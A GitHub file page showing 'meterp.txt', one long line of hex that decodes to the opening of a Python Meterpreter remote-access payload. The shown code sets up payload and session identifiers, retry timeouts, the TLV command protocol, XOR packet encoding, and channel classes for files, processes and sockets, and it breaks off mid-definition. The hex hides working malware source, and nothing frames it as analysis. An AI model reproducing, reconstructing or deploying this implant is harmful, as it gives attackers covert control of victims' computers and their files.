-
Notifications
You must be signed in to change notification settings - Fork 9
/
meterp.txt
1 lines (1 loc) · 99.3 KB
/
meterp.txt
1
696d706f72742062696e61736369692c636f64652c6f732c706c6174666f726d2c72616e646f6d2c72652c73656c6563742c736f636b65742c7374727563742c73756270726f636573732c7379732c746872656164696e672c74696d652c74726163656261636b0d0a7472793a0d0a20202020696d706f7274206374797065730d0a65786365707420496d706f72744572726f723a0d0a202020206861735f77696e646c6c3d46616c73650d0a656c73653a0d0a202020206861735f77696e646c6c3d68617361747472286374797065732c2777696e646c6c27290d0a7472793a0d0a2020202075726c6c69625f696d706f7274733d5b2750726f787948616e646c6572272c2752657175657374272c276275696c645f6f70656e6572272c27696e7374616c6c5f6f70656e6572272c2775726c6f70656e275d0d0a202020206966207379732e76657273696f6e5f696e666f5b305d3c333a0d0a202020202020202075726c6c69623d5f5f696d706f72745f5f282775726c6c696232272c66726f6d6c6973743d75726c6c69625f696d706f727473290d0a20202020656c73653a0d0a202020202020202075726c6c69623d5f5f696d706f72745f5f282775726c6c69622e72657175657374272c66726f6d6c6973743d75726c6c69625f696d706f727473290d0a65786365707420496d706f72744572726f723a0d0a202020206861735f75726c6c69623d46616c73650d0a656c73653a0d0a202020206861735f75726c6c69623d547275650d0a6966207379732e76657273696f6e5f696e666f5b305d3c333a0d0a2020202069735f7374723d6c616d626461206f626a3a206973737562636c617373286f626a2e5f5f636c6173735f5f2c737472290d0a2020202069735f62797465733d6c616d626461206f626a3a206973737562636c617373286f626a2e5f5f636c6173735f5f2c737472290d0a2020202062797465733d6c616d626461202a617267733a20737472282a617267735b3a315d290d0a202020204e554c4c5f425954453d275c783030270d0a20202020756e69636f64653d6c616d62646120783a2028782e6465636f646528275554462d382729206966206973696e7374616e636528782c7374722920656c73652078290d0a656c73653a0d0a202020206966206973696e7374616e6365285f5f6275696c74696e735f5f2c64696374293a0d0a202020202020202069735f7374723d6c616d626461206f626a3a206973737562636c617373286f626a2e5f5f636c6173735f5f2c5f5f6275696c74696e735f5f5b27737472275d290d0a20202020202020207374723d6c616d62646120783a205f5f6275696c74696e735f5f5b27737472275d28782c2a282829206966206973696e7374616e636528782c28666c6f61742c696e74292920656c73652028275554462d38272c2929290d0a20202020656c73653a0d0a202020202020202069735f7374723d6c616d626461206f626a3a206973737562636c617373286f626a2e5f5f636c6173735f5f2c5f5f6275696c74696e735f5f2e737472290d0a20202020202020207374723d6c616d62646120783a205f5f6275696c74696e735f5f2e73747228782c2a282829206966206973696e7374616e636528782c28666c6f61742c696e74292920656c73652028275554462d38272c2929290d0a2020202069735f62797465733d6c616d626461206f626a3a206973737562636c617373286f626a2e5f5f636c6173735f5f2c6279746573290d0a202020204e554c4c5f425954453d627974657328275c783030272c275554462d3827290d0a202020206c6f6e673d696e740d0a20202020756e69636f64653d6c616d62646120783a2028782e6465636f646528275554462d382729206966206973696e7374616e636528782c62797465732920656c73652078290d0a72616e646f6d2e7365656428290d0a444542554747494e473d46616c73650d0a5452595f544f5f464f524b3d547275650d0a485454505f434f4e4e454354494f4e5f55524c3d4e6f6e650d0a485454505f50524f58593d4e6f6e650d0a485454505f555345525f4147454e543d4e6f6e650d0a485454505f434f4f4b49453d4e6f6e650d0a485454505f484f53543d4e6f6e650d0a485454505f524546455245523d4e6f6e650d0a5041594c4f41445f555549443d276631353139616539656632383435383639363939383338646362656235636462270d0a53455353494f4e5f475549443d273631666439356139373165643439366562303233643164633465633536626465270d0a53455353494f4e5f434f4d4d554e49434154494f4e5f54494d454f55543d3330300d0a53455353494f4e5f45585049524154494f4e5f54494d454f55543d3630343830300d0a53455353494f4e5f52455452595f544f54414c3d333630300d0a53455353494f4e5f52455452595f574149543d31300d0a5041434b45545f545950455f524551554553543d300d0a5041434b45545f545950455f524553504f4e53453d310d0a5041434b45545f545950455f504c41494e5f524551554553543d31300d0a5041434b45545f545950455f504c41494e5f524553504f4e53453d31310d0a4552524f525f535543434553533d300d0a4552524f525f4641494c5552453d310d0a4552524f525f4641494c5552455f505954484f4e3d320d0a4552524f525f4641494c5552455f57494e444f57533d330d0a4348414e4e454c5f434c4153535f42554646455245443d300d0a4348414e4e454c5f434c4153535f53545245414d20203d310d0a4348414e4e454c5f434c4153535f444154414752414d3d320d0a4348414e4e454c5f434c4153535f504f4f4c3d330d0a544c565f4d4554415f545950455f4e4f4e453d2830290d0a544c565f4d4554415f545950455f535452494e473d28313c3c3136290d0a544c565f4d4554415f545950455f55494e543d28313c3c3137290d0a544c565f4d4554415f545950455f5241573d28313c3c3138290d0a544c565f4d4554415f545950455f424f4f4c3d28313c3c3139290d0a544c565f4d4554415f545950455f51574f52443d28313c3c3230290d0a544c565f4d4554415f545950455f434f4d505245535345443d28313c3c3239290d0a544c565f4d4554415f545950455f47524f55503d28313c3c3330290d0a544c565f4d4554415f545950455f434f4d504c45583d28313c3c3331290d0a544c565f4d4554415f545950455f4d41534b3d28313c3c3331292b28313c3c3330292b28313c3c3239292b28313c3c3139292b28313c3c3138292b28313c3c3137292b28313c3c3136290d0a544c565f52455345525645443d300d0a544c565f455854454e53494f4e533d32303030300d0a544c565f555345523d34303030300d0a544c565f54454d503d36303030300d0a544c565f545950455f414e593d544c565f4d4554415f545950455f4e4f4e457c300d0a544c565f545950455f4d4554484f443d544c565f4d4554415f545950455f535452494e477c310d0a544c565f545950455f524551554553545f49443d544c565f4d4554415f545950455f535452494e477c320d0a544c565f545950455f455843455054494f4e3d544c565f4d4554415f545950455f47524f55507c330d0a544c565f545950455f524553554c543d544c565f4d4554415f545950455f55494e547c340d0a544c565f545950455f535452494e473d544c565f4d4554415f545950455f535452494e477c31300d0a544c565f545950455f55494e543d544c565f4d4554415f545950455f55494e547c31310d0a544c565f545950455f424f4f4c3d544c565f4d4554415f545950455f424f4f4c7c31320d0a544c565f545950455f4c454e4754483d544c565f4d4554415f545950455f55494e547c32350d0a544c565f545950455f444154413d544c565f4d4554415f545950455f5241577c32360d0a544c565f545950455f464c4147533d544c565f4d4554415f545950455f55494e547c32370d0a544c565f545950455f4348414e4e454c5f49443d544c565f4d4554415f545950455f55494e547c35300d0a544c565f545950455f4348414e4e454c5f545950453d544c565f4d4554415f545950455f535452494e477c35310d0a544c565f545950455f4348414e4e454c5f444154413d544c565f4d4554415f545950455f5241577c35320d0a544c565f545950455f4348414e4e454c5f444154415f47524f55503d544c565f4d4554415f545950455f47524f55507c35330d0a544c565f545950455f4348414e4e454c5f434c4153533d544c565f4d4554415f545950455f55494e547c35340d0a544c565f545950455f4348414e4e454c5f504152454e5449443d544c565f4d4554415f545950455f55494e547c35350d0a544c565f545950455f5345454b5f5748454e43453d544c565f4d4554415f545950455f55494e547c37300d0a544c565f545950455f5345454b5f4f46465345543d544c565f4d4554415f545950455f55494e547c37310d0a544c565f545950455f5345454b5f504f533d544c565f4d4554415f545950455f55494e547c37320d0a544c565f545950455f455843455054494f4e5f434f44453d544c565f4d4554415f545950455f55494e547c3330300d0a544c565f545950455f455843455054494f4e5f535452494e473d544c565f4d4554415f545950455f535452494e477c3330310d0a544c565f545950455f4c4942524152595f504154483d544c565f4d4554415f545950455f535452494e477c3430300d0a544c565f545950455f5441524745545f504154483d544c565f4d4554415f545950455f535452494e477c3430310d0a544c565f545950455f5452414e535f545950453d544c565f4d4554415f545950455f55494e547c3433300d0a544c565f545950455f5452414e535f55524c3d544c565f4d4554415f545950455f535452494e477c3433310d0a544c565f545950455f5452414e535f55413d544c565f4d4554415f545950455f535452494e477c3433320d0a544c565f545950455f5452414e535f434f4d4d5f54494d454f55543d544c565f4d4554415f545950455f55494e547c3433330d0a544c565f545950455f5452414e535f53455353494f4e5f4558503d544c565f4d4554415f545950455f55494e547c3433340d0a544c565f545950455f5452414e535f434552545f484153483d544c565f4d4554415f545950455f5241577c3433350d0a544c565f545950455f5452414e535f50524f58595f484f53543d544c565f4d4554415f545950455f535452494e477c3433360d0a544c565f545950455f5452414e535f50524f58595f555345523d544c565f4d4554415f545950455f535452494e477c3433370d0a544c565f545950455f5452414e535f50524f58595f504153533d544c565f4d4554415f545950455f535452494e477c3433380d0a544c565f545950455f5452414e535f52455452595f544f54414c3d544c565f4d4554415f545950455f55494e547c3433390d0a544c565f545950455f5452414e535f52455452595f574149543d544c565f4d4554415f545950455f55494e547c3434300d0a544c565f545950455f5452414e535f484541444552533d544c565f4d4554415f545950455f535452494e477c3434310d0a544c565f545950455f5452414e535f47524f55503d544c565f4d4554415f545950455f47524f55507c3434320d0a544c565f545950455f4d414348494e455f49443d544c565f4d4554415f545950455f535452494e477c3436300d0a544c565f545950455f555549443d544c565f4d4554415f545950455f5241577c3436310d0a544c565f545950455f53455353494f4e5f475549443d544c565f4d4554415f545950455f5241577c3436320d0a544c565f545950455f504545525f484f53543d544c565f4d4554415f545950455f535452494e477c313530300d0a544c565f545950455f504545525f504f52543d544c565f4d4554415f545950455f55494e547c313530310d0a544c565f545950455f4c4f43414c5f484f53543d544c565f4d4554415f545950455f535452494e477c313530320d0a544c565f545950455f4c4f43414c5f504f52543d544c565f4d4554415f545950455f55494e547c313530330d0a4558504f525445445f53594d424f4c533d7b7d0d0a4558504f525445445f53594d424f4c535b27444542554747494e47275d3d444542554747494e470d0a454e435f4e4f4e453d300d0a5041434b45545f584f525f4b45595f53495a453d340d0a5041434b45545f53455353494f4e5f475549445f53495a453d31360d0a5041434b45545f454e43525950545f464c41475f53495a453d340d0a5041434b45545f4c454e4754485f53495a453d340d0a5041434b45545f545950455f53495a453d340d0a5041434b45545f4c454e4754485f4f46463d285041434b45545f584f525f4b45595f53495a452b5041434b45545f53455353494f4e5f475549445f53495a45202b0d0a20202020202020205041434b45545f454e43525950545f464c41475f53495a45290d0a5041434b45545f4845414445525f53495a453d285041434b45545f584f525f4b45595f53495a452b5041434b45545f53455353494f4e5f475549445f53495a45202b0d0a20202020202020205041434b45545f454e43525950545f464c41475f53495a452b5041434b45545f4c454e4754485f53495a452b5041434b45545f545950455f53495a45290d0a636c6173732053595354454d5f494e464f286374797065732e537472756374757265293a0d0a202020205f6669656c64735f3d5b28227750726f636573736f72417263686974656374757265222c6374797065732e635f75696e743136292c0d0a20202020202020202822775265736572766564222c6374797065732e635f75696e743136292c0d0a2020202020202020282264775061676553697a65222c6374797065732e635f75696e743332292c0d0a202020202020202028226c704d696e696d756d4170706c69636174696f6e41646472657373222c6374797065732e635f766f69645f70292c0d0a202020202020202028226c704d6178696d756d4170706c69636174696f6e41646472657373222c6374797065732e635f766f69645f70292c0d0a20202020202020202822647741637469766550726f636573736f724d61736b222c6374797065732e635f75696e743332292c0d0a2020202020202020282264774e756d6265724f6650726f636573736f7273222c6374797065732e635f75696e743332292c0d0a20202020202020202822647750726f636573736f7254797065222c6374797065732e635f75696e743332292c0d0a202020202020202028226477416c6c6f636174696f6e4772616e756c6172697479222c6374797065732e635f75696e743332292c0d0a202020202020202028227750726f636573736f724c6576656c222c6374797065732e635f75696e743136292c0d0a202020202020202028227750726f636573736f725265766973696f6e222c6374797065732e635f75696e743136295d0d0a6465662072616e645f786f725f6b657928293a0d0a2020202072657475726e207475706c652872616e646f6d2e72616e64696e7428312c3235352920666f72205f20696e2072616e6765283429290d0a64656620786f725f6279746573286b65792c64617461293a0d0a202020206966207379732e76657273696f6e5f696e666f5b305d3c333a0d0a20202020202020206465786f7265643d27272e6a6f696e28636872286f726428646174615b695d295e6b65795b69256c656e286b6579295d2920666f72206920696e2072616e6765286c656e28646174612929290d0a20202020656c73653a0d0a20202020202020206465786f7265643d627974657328646174615b695d5e6b65795b69256c656e286b6579295d20666f72206920696e2072616e6765286c656e28646174612929290d0a2020202072657475726e206465786f7265640d0a646566206578706f72742873796d626f6c293a0d0a202020204558504f525445445f53594d424f4c535b73796d626f6c2e5f5f6e616d655f5f5d3d73796d626f6c0d0a2020202072657475726e2073796d626f6c0d0a6465662067656e65726174655f726571756573745f696428293a0d0a2020202063686172733d276162636465666768696a6b6c6d6e6f707172737475767778797a270d0a2020202072657475726e2027272e6a6f696e2872616e646f6d2e63686f6963652863686172732920666f72207820696e2072616e676528333229290d0a406578706f72740d0a6465662063726331362864617461293a0d0a20202020706f6c793d3078313032310d0a202020207265673d3078303030300d0a2020202069662069735f7374722864617461293a0d0a2020202020202020646174613d6c697374286d6170286f72642c6461746129290d0a20202020656c69662069735f62797465732864617461293a0d0a2020202020202020646174613d6c6973742864617461290d0a20202020646174612e617070656e642830290d0a20202020646174612e617070656e642830290d0a20202020666f72206279746520696e20646174613a0d0a20202020202020206d61736b3d307838300d0a20202020202020207768696c65206d61736b3e303a0d0a2020202020202020202020207265673c3c3d310d0a20202020202020202020202069662062797465266d61736b3a0d0a202020202020202020202020202020207265672b3d310d0a2020202020202020202020206d61736b3e3e3d310d0a2020202020202020202020206966207265673e3078666666663a0d0a20202020202020202020202020202020726567263d3078666666660d0a202020202020202020202020202020207265675e3d706f6c790d0a2020202072657475726e207265670d0a406578706f72740d0a6465662064656275675f7072696e74286d7367293a0d0a20202020696620444542554747494e473a0d0a20202020202020207072696e74286d7367290d0a406578706f72740d0a6465662064656275675f74726163656261636b286d73673d4e6f6e65293a0d0a20202020696620444542554747494e473a0d0a20202020202020206966206d73673a0d0a2020202020202020202020207072696e74286d7367290d0a202020202020202074726163656261636b2e7072696e745f6578632866696c653d7379732e737464657272290d0a406578706f72740d0a646566206572726f725f726573756c7428657863657074696f6e3d4e6f6e65293a0d0a202020206966206e6f7420657863657074696f6e3a0d0a20202020202020205f2c657863657074696f6e2c5f3d7379732e6578635f696e666f28290d0a20202020657863657074696f6e5f6372633d637263313628657863657074696f6e2e5f5f636c6173735f5f2e5f5f6e616d655f5f290d0a20202020696620657863657074696f6e5f6372633d3d3078346362323a0d0a202020202020202072657475726e206572726f725f726573756c745f77696e646f777328657863657074696f6e2e6572726e6f290d0a20202020656c73653a0d0a2020202020202020726573756c743d2828657863657074696f6e5f6372633c3c3136297c4552524f525f4641494c5552455f505954484f4e290d0a2020202072657475726e20726573756c740d0a406578706f72740d0a646566206572726f725f726573756c745f77696e646f7773286572726f725f6e756d6265723d4e6f6e65293a0d0a202020206966206e6f74206861735f77696e646c6c3a0d0a202020202020202072657475726e204552524f525f4641494c5552450d0a202020206966206572726f725f6e756d6265723d3d4e6f6e653a0d0a20202020202020206572726f725f6e756d6265723d6374797065732e77696e646c6c2e6b65726e656c33322e4765744c6173744572726f7228290d0a202020206966206572726f725f6e756d6265723e3078666666663a0d0a202020202020202072657475726e204552524f525f4641494c5552450d0a20202020726573756c743d28286572726f725f6e756d6265723c3c3136297c4552524f525f4641494c5552455f57494e444f5753290d0a2020202072657475726e20726573756c740d0a406578706f72740d0a646566206765745f6864645f6c6162656c28293a0d0a20202020666f72205f2c5f2c66696c657320696e206f732e77616c6b28272f6465762f6469736b2f62792d69642f27293a0d0a2020202020202020666f72206620696e2066696c65733a0d0a202020202020202020202020666f72207020696e205b276174612d272c276d622d275d3a0d0a20202020202020202020202020202020696620665b3a6c656e2870295d3d3d703a0d0a202020202020202020202020202020202020202072657475726e20665b6c656e2870293a5d0d0a2020202072657475726e2027270d0a406578706f72740d0a646566206765745f6e61746976655f6172636828293a0d0a20202020617263683d6765745f73797374656d5f6172636828290d0a20202020696620617263683d3d277836342720616e64206374797065732e73697a656f66286374797065732e635f766f69645f70293d3d343a0d0a2020202020202020617263683d27783836270d0a2020202072657475726e20617263680d0a406578706f72740d0a646566206765745f73797374656d5f6172636828293a0d0a20202020756e616d655f696e666f3d706c6174666f726d2e756e616d6528290d0a20202020617263683d756e616d655f696e666f5b345d0d0a202020206966206861735f77696e646c6c3a0d0a2020202020202020737973696e666f3d53595354454d5f494e464f28290d0a20202020202020206374797065732e77696e646c6c2e6b65726e656c33322e4765744e617469766553797374656d496e666f286374797065732e627972656628737973696e666f29290d0a202020202020202076616c7565733d7b303a27783836272c353a2761726d6c65272c363a2749413634272c393a27783634277d0d0a2020202020202020617263683d76616c7565732e67657428737973696e666f2e7750726f636573736f724172636869746563747572652c756e616d655f696e666f5b345d290d0a20202020696620617263683d3d277838365f3634273a0d0a2020202020202020617263683d27783634270d0a2020202072657475726e20617263680d0a406578706f72740d0a64656620696e65745f70746f6e2866616d696c792c61646472657373293a0d0a2020202069662066616d696c793d3d736f636b65742e41465f494e45543620616e642027252720696e20616464726573733a0d0a2020202020202020616464726573733d616464726573732e73706c6974282725272c31295b305d0d0a202020206966206861736174747228736f636b65742c27696e65745f70746f6e27293a0d0a202020202020202072657475726e20736f636b65742e696e65745f70746f6e2866616d696c792c61646472657373290d0a20202020656c6966206861735f77696e646c6c3a0d0a2020202020202020575341537472696e67546f416464726573733d6374797065732e77696e646c6c2e7773325f33322e575341537472696e67546f41646472657373410d0a20202020202020206c70416464726573733d286374797065732e635f7562797465202a2032382928290d0a20202020202020206c70416464726573734c656e6774683d6374797065732e635f696e74286374797065732e73697a656f66286c704164647265737329290d0a2020202020202020696620575341537472696e67546f4164647265737328616464726573732c66616d696c792c4e6f6e652c6374797065732e6279726566286c7041646472657373292c6374797065732e6279726566286c70416464726573734c656e677468292920213d20303a0d0a202020202020202020202020726169736520457863657074696f6e2827575341537472696e67546f41646472657373206661696c656427290d0a202020202020202069662066616d696c793d3d736f636b65742e41465f494e45543a0d0a20202020202020202020202072657475726e2027272e6a6f696e286d6170286368722c6c70416464726573735b343a385d29290d0a2020202020202020656c69662066616d696c793d3d736f636b65742e41465f494e4554363a0d0a20202020202020202020202072657475726e2027272e6a6f696e286d6170286368722c6c70416464726573735b383a32345d29290d0a20202020726169736520457863657074696f6e28276e6f207375697461626c6520696e65745f70746f6e2066756e6374696f6e616c69747920697320617661696c61626c6527290d0a406578706f72740d0a646566207061636b65745f656e756d5f746c767328706b742c746c765f747970653d4e6f6e65293a0d0a202020206f66667365743d300d0a202020207768696c65206f66667365743c6c656e28706b74293a0d0a2020202020202020746c763d7374727563742e756e7061636b28273e4949272c706b745b6f66667365743a6f66667365742b385d290d0a2020202020202020696620746c765f74797065206973204e6f6e65206f722028746c765b315d267e544c565f4d4554415f545950455f434f4d50524553534544293d3d746c765f747970653a0d0a20202020202020202020202076616c3d706b745b6f66667365742b383a286f66667365742b382b28746c765b305d2d3829295d0d0a20202020202020202020202069662028746c765b315d26544c565f4d4554415f545950455f535452494e47293d3d544c565f4d4554415f545950455f535452494e473a0d0a2020202020202020202020202020202076616c3d7374722876616c2e73706c6974284e554c4c5f425954452c31295b305d290d0a202020202020202020202020656c69662028746c765b315d26544c565f4d4554415f545950455f55494e54293d3d544c565f4d4554415f545950455f55494e543a0d0a2020202020202020202020202020202076616c3d7374727563742e756e7061636b28273e49272c76616c295b305d0d0a202020202020202020202020656c69662028746c765b315d26544c565f4d4554415f545950455f51574f5244293d3d544c565f4d4554415f545950455f51574f52443a0d0a2020202020202020202020202020202076616c3d7374727563742e756e7061636b28273e51272c76616c295b305d0d0a202020202020202020202020656c69662028746c765b315d26544c565f4d4554415f545950455f424f4f4c293d3d544c565f4d4554415f545950455f424f4f4c3a0d0a2020202020202020202020202020202076616c3d626f6f6c287374727563742e756e7061636b282762272c76616c295b305d290d0a202020202020202020202020656c69662028746c765b315d26544c565f4d4554415f545950455f524157293d3d544c565f4d4554415f545950455f5241573a0d0a20202020202020202020202020202020706173730d0a2020202020202020202020207969656c64207b2774797065273a20746c765b315d2c276c656e677468273a20746c765b305d2c2776616c7565273a2076616c7d0d0a20202020202020206f66667365742b3d746c765b305d0d0a2020202072657475726e0d0a406578706f72740d0a646566207061636b65745f6765745f746c7628706b742c746c765f74797065293a0d0a202020207472793a0d0a2020202020202020746c763d6c697374287061636b65745f656e756d5f746c767328706b742c746c765f7479706529295b305d0d0a2020202065786365707420496e6465784572726f723a0d0a202020202020202072657475726e207b7d0d0a2020202072657475726e20746c760d0a406578706f72740d0a64656620746c765f7061636b282a61726773293a0d0a202020206966206c656e2861726773293d3d323a0d0a2020202020202020746c763d7b2774797065273a617267735b305d2c2776616c7565273a617267735b315d7d0d0a20202020656c73653a0d0a2020202020202020746c763d617267735b305d0d0a20202020646174613d27270d0a2020202076616c75653d746c765b2776616c7565275d0d0a2020202069662028746c765b2774797065275d26544c565f4d4554415f545950455f55494e54293d3d544c565f4d4554415f545950455f55494e543a0d0a20202020202020206966206973696e7374616e63652876616c75652c666c6f6174293a0d0a20202020202020202020202076616c75653d696e7428726f756e642876616c756529290d0a2020202020202020646174613d7374727563742e7061636b28273e494949272c31322c746c765b2774797065275d2c76616c7565290d0a20202020656c69662028746c765b2774797065275d26544c565f4d4554415f545950455f51574f5244293d3d544c565f4d4554415f545950455f51574f52443a0d0a2020202020202020646174613d7374727563742e7061636b28273e494951272c31362c746c765b2774797065275d2c76616c7565290d0a20202020656c69662028746c765b2774797065275d26544c565f4d4554415f545950455f424f4f4c293d3d544c565f4d4554415f545950455f424f4f4c3a0d0a2020202020202020646174613d7374727563742e7061636b28273e4949272c392c746c765b2774797065275d292b62797465732863687228696e7428626f6f6c2876616c75652929292c275554462d3827290d0a20202020656c73653a0d0a20202020202020206966207379732e76657273696f6e5f696e666f5b305d3c3320616e642076616c75652e5f5f636c6173735f5f2e5f5f6e616d655f5f3d3d27756e69636f6465273a0d0a20202020202020202020202076616c75653d76616c75652e656e636f646528275554462d3827290d0a2020202020202020656c6966206e6f742069735f62797465732876616c7565293a0d0a20202020202020202020202076616c75653d62797465732876616c75652c275554462d3827290d0a202020202020202069662028746c765b2774797065275d26544c565f4d4554415f545950455f535452494e47293d3d544c565f4d4554415f545950455f535452494e473a0d0a202020202020202020202020646174613d7374727563742e7061636b28273e4949272c382b6c656e2876616c7565292b312c746c765b2774797065275d292b76616c75652b4e554c4c5f425954450d0a2020202020202020656c69662028746c765b2774797065275d26544c565f4d4554415f545950455f524157293d3d544c565f4d4554415f545950455f5241573a0d0a202020202020202020202020646174613d7374727563742e7061636b28273e4949272c382b6c656e2876616c7565292c746c765b2774797065275d292b76616c75650d0a2020202020202020656c69662028746c765b2774797065275d26544c565f4d4554415f545950455f47524f5550293d3d544c565f4d4554415f545950455f47524f55503a0d0a202020202020202020202020646174613d7374727563742e7061636b28273e4949272c382b6c656e2876616c7565292c746c765b2774797065275d292b76616c75650d0a2020202020202020656c69662028746c765b2774797065275d26544c565f4d4554415f545950455f434f4d504c4558293d3d544c565f4d4554415f545950455f434f4d504c45583a0d0a202020202020202020202020646174613d7374727563742e7061636b28273e4949272c382b6c656e2876616c7565292c746c765b2774797065275d292b76616c75650d0a2020202072657475726e20646174610d0a406578706f72740d0a64656620746c765f7061636b5f72657175657374286d6574686f642c70617274733d4e6f6e65293a0d0a20202020706b74203d7374727563742e7061636b28273e49272c5041434b45545f545950455f52455155455354290d0a20202020706b742b3d746c765f7061636b28544c565f545950455f4d4554484f442c6d6574686f64290d0a20202020706b742b3d746c765f7061636b28544c565f545950455f555549442c62696e61736369692e6132625f686578286279746573285041594c4f41445f555549442c275554462d38272929290d0a20202020706b742b3d746c765f7061636b28544c565f545950455f524551554553545f49442c67656e65726174655f726571756573745f69642829290d0a2020202070617274733d7061727473206f72205b5d0d0a20202020666f72207061727420696e2070617274733a0d0a2020202020202020706b742b3d746c765f7061636b28706172745b2774797065275d2c706172745b2776616c7565275d290d0a2020202072657475726e20706b740d0a636c617373204d657465727072657465724368616e6e656c286f626a656374293a0d0a2020202064656620636f72655f636c6f73652873656c662c726571756573742c726573706f6e7365293a0d0a202020202020202073656c662e636c6f736528290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a2020202064656620636f72655f656f662873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f424f4f4c2c73656c662e656f662829290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a2020202064656620636f72655f726561642873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206c656e6774683d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4c454e475448295b2776616c7565275d0d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f4348414e4e454c5f444154412c73656c662e72656164286c656e67746829290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a2020202064656620636f72655f77726974652873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f646174613d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f44415441295b2776616c7565275d0d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f4c454e4754482c73656c662e7772697465286368616e6e656c5f6461746129290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a2020202064656620636c6f73652873656c66293a0d0a20202020202020207261697365204e6f74496d706c656d656e7465644572726f7228290d0a2020202064656620656f662873656c66293a0d0a202020202020202072657475726e2046616c73650d0a202020206465662069735f616c6976652873656c66293a0d0a202020202020202072657475726e20547275650d0a20202020646566206e6f746966792873656c66293a0d0a202020202020202072657475726e204e6f6e650d0a2020202064656620726561642873656c662c6c656e677468293a0d0a20202020202020207261697365204e6f74496d706c656d656e7465644572726f7228290d0a202020206465662077726974652873656c662c64617461293a0d0a20202020202020207261697365204e6f74496d706c656d656e7465644572726f7228290d0a636c617373204d6574657270726574657246696c65284d657465727072657465724368616e6e656c293a0d0a20202020646566205f5f696e69745f5f2873656c662c66696c655f6f626a293a0d0a202020202020202073656c662e66696c655f6f626a3d66696c655f6f626a0d0a20202020202020207375706572284d6574657270726574657246696c652c73656c66292e5f5f696e69745f5f28290d0a2020202064656620636c6f73652873656c66293a0d0a202020202020202073656c662e66696c655f6f626a2e636c6f736528290d0a2020202064656620656f662873656c66293a0d0a202020202020202072657475726e2073656c662e66696c655f6f626a2e74656c6c2829203e3d206f732e66737461742873656c662e66696c655f6f626a2e66696c656e6f2829292e73745f73697a650d0a2020202064656620726561642873656c662c6c656e677468293a0d0a202020202020202072657475726e2073656c662e66696c655f6f626a2e72656164286c656e677468290d0a202020206465662077726974652873656c662c64617461293a0d0a202020202020202073656c662e66696c655f6f626a2e77726974652864617461290d0a202020202020202072657475726e206c656e2864617461290d0a6578706f7274284d6574657270726574657246696c65290d0a636c617373204d6574657270726574657250726f63657373284d657465727072657465724368616e6e656c293a0d0a20202020646566205f5f696e69745f5f2873656c662c70726f635f68293a0d0a202020202020202073656c662e70726f635f683d70726f635f680d0a20202020202020207375706572284d6574657270726574657250726f636573732c73656c66292e5f5f696e69745f5f28290d0a2020202064656620636c6f73652873656c66293a0d0a202020202020202073656c662e70726f635f682e6b696c6c28290d0a2020202020202020696620686173617474722873656c662e70726f635f682e737464696e2c27636c6f736527293a0d0a20202020202020202020202073656c662e70726f635f682e737464696e2e636c6f736528290d0a2020202020202020696620686173617474722873656c662e70726f635f682e7374646f75742c27636c6f736527293a0d0a20202020202020202020202073656c662e70726f635f682e7374646f75742e636c6f736528290d0a2020202020202020696620686173617474722873656c662e70726f635f682e7374646572722c27636c6f736527293a0d0a20202020202020202020202073656c662e70726f635f682e7374646572722e636c6f736528290d0a202020206465662069735f616c6976652873656c66293a0d0a202020202020202072657475726e2073656c662e70726f635f682e706f6c6c2829206973204e6f6e650d0a2020202064656620726561642873656c662c6c656e677468293a0d0a2020202020202020646174613d27270d0a20202020202020207374646f75745f7265616465723d73656c662e70726f635f682e7374646f75745f7265616465720d0a20202020202020206966207374646f75745f7265616465722e69735f726561645f726561647928293a0d0a202020202020202020202020646174613d7374646f75745f7265616465722e72656164286c656e677468290d0a202020202020202072657475726e20646174610d0a202020206465662077726974652873656c662c64617461293a0d0a202020202020202073656c662e70726f635f682e77726974652864617461290d0a202020202020202072657475726e206c656e2864617461290d0a6578706f7274284d6574657270726574657250726f63657373290d0a636c617373204d65746572707265746572536f636b6574284d657465727072657465724368616e6e656c293a0d0a20202020646566205f5f696e69745f5f2873656c662c736f636b293a0d0a202020202020202073656c662e736f636b3d736f636b0d0a202020202020202073656c662e5f69735f616c6976653d547275650d0a20202020202020207375706572284d65746572707265746572536f636b65742c73656c66292e5f5f696e69745f5f28290d0a2020202064656620636f72655f77726974652873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020207472793a0d0a2020202020202020202020207374617475732c726573706f6e73653d7375706572284d65746572707265746572536f636b65742c73656c66292e636f72655f777269746528726571756573742c726573706f6e7365290d0a202020202020202065786365707420736f636b65742e6572726f723a0d0a20202020202020202020202073656c662e636c6f736528290d0a20202020202020202020202073656c662e5f69735f616c6976653d46616c73650d0a2020202020202020202020207374617475733d4552524f525f4641494c5552450d0a202020202020202072657475726e207374617475732c726573706f6e73650d0a2020202064656620636c6f73652873656c66293a0d0a202020202020202072657475726e2073656c662e736f636b2e636c6f736528290d0a202020206465662066696c656e6f2873656c66293a0d0a202020202020202072657475726e2073656c662e736f636b2e66696c656e6f28290d0a202020206465662069735f616c6976652873656c66293a0d0a202020202020202072657475726e2073656c662e5f69735f616c6976650d0a2020202064656620726561642873656c662c6c656e677468293a0d0a202020202020202072657475726e2073656c662e736f636b2e72656376286c656e677468290d0a202020206465662077726974652873656c662c64617461293a0d0a202020202020202072657475726e2073656c662e736f636b2e73656e642864617461290d0a6578706f7274284d65746572707265746572536f636b6574290d0a636c617373204d65746572707265746572536f636b6574544350436c69656e74284d65746572707265746572536f636b6574293a0d0a20202020706173730d0a6578706f7274284d65746572707265746572536f636b6574544350436c69656e74290d0a636c617373204d65746572707265746572536f636b6574544350536572766572284d65746572707265746572536f636b6574293a0d0a20202020706173730d0a6578706f7274284d65746572707265746572536f636b6574544350536572766572290d0a636c617373204d65746572707265746572536f636b6574554450436c69656e74284d65746572707265746572536f636b6574293a0d0a20202020646566205f5f696e69745f5f2873656c662c736f636b2c706565725f616464726573733d4e6f6e65293a0d0a20202020202020207375706572284d65746572707265746572536f636b6574554450436c69656e742c73656c66292e5f5f696e69745f